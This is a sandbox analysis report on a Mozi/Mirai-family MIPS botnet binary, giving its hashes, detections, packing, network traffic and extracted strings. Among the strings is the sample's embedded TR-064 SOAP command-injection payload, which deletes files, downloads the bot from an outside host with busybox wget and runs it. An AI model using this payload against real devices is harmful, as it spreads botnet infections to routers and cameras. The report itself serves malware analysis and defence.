Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
Mozi.m.elf

Overview

General Information

Sample name:Mozi.m.elf
Analysis ID:1583967
MD5:26e2d249b174d6bc32fde7cba49e35bc
SHA1:6ebdc96193091c78074e557bfa5c3440ff958953
SHA256:2cfc94030fb8034dbb0f8d3574873ac4f6b5c1b536afe53e9b9255d9f0f40388
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:76
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Sample is packed with UPX
ELF contains segments with high entropy indicating compressed/encrypted content
Sample contains only a LOAD segment without any section mappings
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1583967
Start date and time:2025-01-03 23:27:04 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 27s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:Mozi.m.elf
Detection:MAL
Classification:mal76.troj.evad.linELF@0/0@0/0
  • VT rate limit hit for: Mozi.m.elf
Command:/tmp/Mozi.m.elf
PID:6231
Exit Code:133
Exit Code Info:
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped
  • system is lnxubuntu20
  • Mozi.m.elf (PID: 6231, Parent: 6156, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/Mozi.m.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
Mozi.m.elfJoeSecurity_Mirai_4Yara detected MiraiJoe Security
    Mozi.m.elfLinux_Packer_Patched_UPX_62e11c64unknownunknown
    • 0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00
    SourceRuleDescriptionAuthorStrings
    6231.1.00007f1fa0400000.00007f1fa0422000.r-x.sdmpLinux_Packer_Patched_UPX_62e11c64unknownunknown
    • 0x78:$a: 55 50 58 21 0A 58 0D 89 00 00 00 00 00 00 00 00 00 00 00 00
    No Suricata rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: Mozi.m.elfAvira: detected
    Source: Mozi.m.elfReversingLabs: Detection: 63%
    Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
    Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
    Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
    Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
    Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: Mozi.m.elfString found in binary or memory: http://%s:%d/Mozi.a;chmod
    Source: Mozi.m.elfString found in binary or memory: http://%s:%d/Mozi.a;sh$
    Source: Mozi.m.elfString found in binary or memory: http://%s:%d/Mozi.m
    Source: Mozi.m.elfString found in binary or memory: http://%s:%d/Mozi.m;$
    Source: Mozi.m.elfString found in binary or memory: http://%s:%d/Mozi.m;/tmp/Mozi.m
    Source: Mozi.m.elfString found in binary or memory: http://purenetworks.com/HNAP1/
    Source: Mozi.m.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
    Source: Mozi.m.elfString found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
    Source: Mozi.m.elfString found in binary or memory: http://upx.sf.net
    Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443

    System Summary

    barindex
    Source: Mozi.m.elf, type: SAMPLEMatched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
    Source: 6231.1.00007f1fa0400000.00007f1fa0422000.r-x.sdmp, type: MEMORYMatched rule: Linux_Packer_Patched_UPX_62e11c64 Author: unknown
    Source: LOAD without section mappingsProgram segment: 0x400000
    Source: Initial sampleString containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
    Source: Mozi.m.elf, type: SAMPLEMatched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
    Source: 6231.1.00007f1fa0400000.00007f1fa0422000.r-x.sdmp, type: MEMORYMatched rule: Linux_Packer_Patched_UPX_62e11c64 reference_sample = 02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669, os = linux, severity = x86, creation_date = 2021-06-08, scan_context = file, reference = https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/, license = Elastic License v2, threat_name = Linux.Packer.Patched_UPX, fingerprint = 3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d, id = 62e11c64-fc7d-4a0a-9d72-ad53ec3987ff, last_modified = 2021-07-28
    Source: classification engineClassification label: mal76.troj.evad.linELF@0/0@0/0

    Data Obfuscation

    barindex
    Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
    Source: initial sampleString containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
    Source: initial sampleString containing UPX found: $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
    Source: Mozi.m.elfSubmission file: segment LOAD with 7.8156 entropy (max. 8.0)
    Source: /tmp/Mozi.m.elf (PID: 6231)Queries kernel information via 'uname': Jump to behavior
    Source: Mozi.m.elf, 6231.1.000055ac676dd000.000055ac67764000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/mips
    Source: Mozi.m.elf, 6231.1.000055ac676dd000.000055ac67764000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
    Source: Mozi.m.elf, 6231.1.00007fffdd063000.00007fffdd084000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
    Source: Mozi.m.elf, 6231.1.00007fffdd063000.00007fffdd084000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 5 (Trace/breakpoint trap) - core dumped
    Source: Mozi.m.elf, 6231.1.00007fffdd063000.00007fffdd084000.rw-.sdmpBinary or memory string: #x86_64/usr/bin/qemu-mips/tmp/Mozi.m.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Mozi.m.elf

    Stealing of Sensitive Information

    barindex
    Source: Yara matchFile source: Mozi.m.elf, type: SAMPLE

    Remote Access Functionality

    barindex
    Source: Yara matchFile source: Mozi.m.elf, type: SAMPLE
    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath Interception11
    Obfuscated Files or Information
    OS Credential Dumping11
    Security Software Discovery
    Remote ServicesData from Local System1
    Encrypted Channel
    Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
    Application Layer Protocol
    Exfiltration Over BluetoothNetwork Denial of Service
    No configs have been found
    SourceDetectionScannerLabelLink
    Mozi.m.elf63%ReversingLabsLinux.Trojan.Dakkatoni
    Mozi.m.elf100%AviraEXP/ELF.Agent.L.26
    No Antivirus matches
    No Antivirus matches
    No Antivirus matches
    No contacted domains info
    NameSourceMaliciousAntivirus DetectionReputation
    http://upx.sf.netMozi.m.elffalse
      high
      http://%s:%d/Mozi.a;sh$Mozi.m.elffalse
        high
        http://%s:%d/Mozi.a;chmodMozi.m.elffalse
          high
          http://%s:%d/Mozi.m;/tmp/Mozi.mMozi.m.elffalse
            high
            http://schemas.xmlsoap.org/soap/encoding/Mozi.m.elffalse
              high
              http://%s:%d/Mozi.mMozi.m.elffalse
                high
                http://purenetworks.com/HNAP1/Mozi.m.elffalse
                  high
                  http://%s:%d/Mozi.m;$Mozi.m.elffalse
                    high
                    http://schemas.xmlsoap.org/soap/envelope/Mozi.m.elffalse
                      high
                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs
                      IPDomainCountryFlagASNASN NameMalicious
                      109.202.202.202
                      unknownSwitzerland
                      13030INIT7CHfalse
                      91.189.91.43
                      unknownUnited Kingdom
                      41231CANONICAL-ASGBfalse
                      91.189.91.42
                      unknownUnited Kingdom
                      41231CANONICAL-ASGBfalse
                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
                      • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
                      91.189.91.43bot.m68k.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                        bot.mips.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                          i.elfGet hashmaliciousUnknownBrowse
                            ppc.elfGet hashmaliciousUnknownBrowse
                              armv4eb.elfGet hashmaliciousMiraiBrowse
                                arm5.elfGet hashmaliciousUnknownBrowse
                                  x86.elfGet hashmaliciousUnknownBrowse
                                    arm4.elfGet hashmaliciousUnknownBrowse
                                      arm6.elfGet hashmaliciousUnknownBrowse
                                        mpsl.elfGet hashmaliciousUnknownBrowse
                                          91.189.91.42bot.m68k.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                            bot.mips.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                              i.elfGet hashmaliciousUnknownBrowse
                                                ppc.elfGet hashmaliciousUnknownBrowse
                                                  armv4eb.elfGet hashmaliciousMiraiBrowse
                                                    arm5.elfGet hashmaliciousUnknownBrowse
                                                      x86.elfGet hashmaliciousUnknownBrowse
                                                        arm4.elfGet hashmaliciousUnknownBrowse
                                                          arm6.elfGet hashmaliciousUnknownBrowse
                                                            mpsl.elfGet hashmaliciousUnknownBrowse
                                                              No context
                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                              CANONICAL-ASGBbot.m68k.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                                              • 91.189.91.42
                                                              bot.mips.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                                              • 91.189.91.42
                                                              i.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              ppc.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              armv4eb.elfGet hashmaliciousMiraiBrowse
                                                              • 91.189.91.42
                                                              arc.elfGet hashmaliciousUnknownBrowse
                                                              • 185.125.190.26
                                                              arm5.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              x86.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              arm4.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              arm6.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              CANONICAL-ASGBbot.m68k.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                                              • 91.189.91.42
                                                              bot.mips.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                                              • 91.189.91.42
                                                              i.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              ppc.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              armv4eb.elfGet hashmaliciousMiraiBrowse
                                                              • 91.189.91.42
                                                              arc.elfGet hashmaliciousUnknownBrowse
                                                              • 185.125.190.26
                                                              arm5.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              x86.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              arm4.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              arm6.elfGet hashmaliciousUnknownBrowse
                                                              • 91.189.91.42
                                                              INIT7CHbot.m68k.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                                              • 109.202.202.202
                                                              bot.mips.elfGet hashmaliciousMirai, Gafgyt, OkiruBrowse
                                                              • 109.202.202.202
                                                              i.elfGet hashmaliciousUnknownBrowse
                                                              • 109.202.202.202
                                                              ppc.elfGet hashmaliciousUnknownBrowse
                                                              • 109.202.202.202
                                                              armv4eb.elfGet hashmaliciousMiraiBrowse
                                                              • 109.202.202.202
                                                              arm5.elfGet hashmaliciousUnknownBrowse
                                                              • 109.202.202.202
                                                              x86.elfGet hashmaliciousUnknownBrowse
                                                              • 109.202.202.202
                                                              arm4.elfGet hashmaliciousUnknownBrowse
                                                              • 109.202.202.202
                                                              arm6.elfGet hashmaliciousUnknownBrowse
                                                              • 109.202.202.202
                                                              mpsl.elfGet hashmaliciousUnknownBrowse
                                                              • 109.202.202.202
                                                              No context
                                                              No context
                                                              No created / dropped files found
                                                              File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
                                                              Entropy (8bit):4.553352268117222
                                                              TrID:
                                                              • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
                                                              • ELF Executable and Linkable format (generic) (4004/1) 49.84%
                                                              File name:Mozi.m.elf
                                                              File size:307'960 bytes
                                                              MD5:26e2d249b174d6bc32fde7cba49e35bc
                                                              SHA1:6ebdc96193091c78074e557bfa5c3440ff958953
                                                              SHA256:2cfc94030fb8034dbb0f8d3574873ac4f6b5c1b536afe53e9b9255d9f0f40388
                                                              SHA512:fac0cebac8b9a73897ea3da725a5c3b0ddef47ad7efadfc7d0c8859d8dd025381536b5361b6893294e765b8ac8a2908d66a778672296065521f96679f3598d07
                                                              SSDEEP:3072:phNlHuBafLeBtfCzpta8xlBIOdVo3/4sxLJ10xio:p3lOYoaja8xzx/0wsxzSi
                                                              TLSH:F564028BEB36BC1BCA001FF225DB4F9DD96D675B42C7E0A1B6C0444F22E51C6B6D1285
                                                              File Content Preview:.ELF.....................B.....4.........4. ...(.............@...@...........................C...C......../..........*.*UPX!.X.....................^....|.$..ELF..........@.`....4...0... ...(......<...@......[v......H...`.t..;_...dt.Q.....].M..............

                                                              ELF header

                                                              Class:ELF32
                                                              Data:2's complement, big endian
                                                              Version:1 (current)
                                                              Machine:MIPS R3000
                                                              Version Number:0x1
                                                              Type:EXEC (Executable file)
                                                              OS/ABI:UNIX - System V
                                                              ABI Version:0
                                                              Entry Point Address:0x4206a8
                                                              Flags:0x1007
                                                              ELF Header Size:52
                                                              Program Header Offset:52
                                                              Program Header Size:32
                                                              Number of Program Headers:2
                                                              Section Header Offset:0
                                                              Section Header Size:40
                                                              Number of Section Headers:0
                                                              Header String Table Index:0
                                                              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                              LOAD0x00x4000000x4000000x210f20x210f27.81560x5R E0x10000
                                                              LOAD0x00x4300000x4300000x00x92fd80.00000x6RW 0x10000
                                                              TimestampSource PortDest PortSource IPDest IP
                                                              Jan 3, 2025 23:27:50.053219080 CET43928443192.168.2.2391.189.91.42
                                                              Jan 3, 2025 23:27:55.428589106 CET42836443192.168.2.2391.189.91.43
                                                              Jan 3, 2025 23:27:56.964366913 CET4251680192.168.2.23109.202.202.202
                                                              Jan 3, 2025 23:28:11.810379028 CET43928443192.168.2.2391.189.91.42
                                                              Jan 3, 2025 23:28:22.048906088 CET42836443192.168.2.2391.189.91.43
                                                              Jan 3, 2025 23:28:28.192255974 CET4251680192.168.2.23109.202.202.202
                                                              Jan 3, 2025 23:28:52.765006065 CET43928443192.168.2.2391.189.91.42

                                                              System Behavior

                                                              Start time (UTC):22:27:48
                                                              Start date (UTC):03/01/2025
                                                              Path:/tmp/Mozi.m.elf
                                                              Arguments:/tmp/Mozi.m.elf
                                                              File size:5777432 bytes
                                                              MD5 hash:0083f1f0e77be34ad27f849842bbb00c